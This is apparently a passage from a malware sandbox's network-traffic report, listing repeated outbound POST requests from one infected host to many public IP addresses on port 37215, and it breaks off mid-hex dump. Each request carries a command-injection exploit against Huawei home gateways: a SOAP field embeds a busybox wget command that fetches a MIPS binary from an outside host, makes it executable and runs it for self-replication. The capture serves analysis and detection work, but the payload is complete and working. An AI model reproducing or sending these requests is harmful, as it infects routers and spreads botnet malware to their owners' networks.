Jul 20, 2024 23:01:02.410932064 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.14	49218	197.181.156.3	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.410932064 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.14	59868	118.0.129.46	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.411076069 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.14	45474	157.203.119.152	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.411076069 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.14	58282	90.241.170.10	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.411076069 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.14	49858	212.127.34.6	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.411076069 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.14	45562	41.30.131.179	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.411076069 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.14	45886	24.132.91.59	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.411076069 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.14	34462	197.74.63.134	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.411164999 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.14	42224	157.11.56.240	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.411165953 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.14	35110	197.255.176.169	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.411165953 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 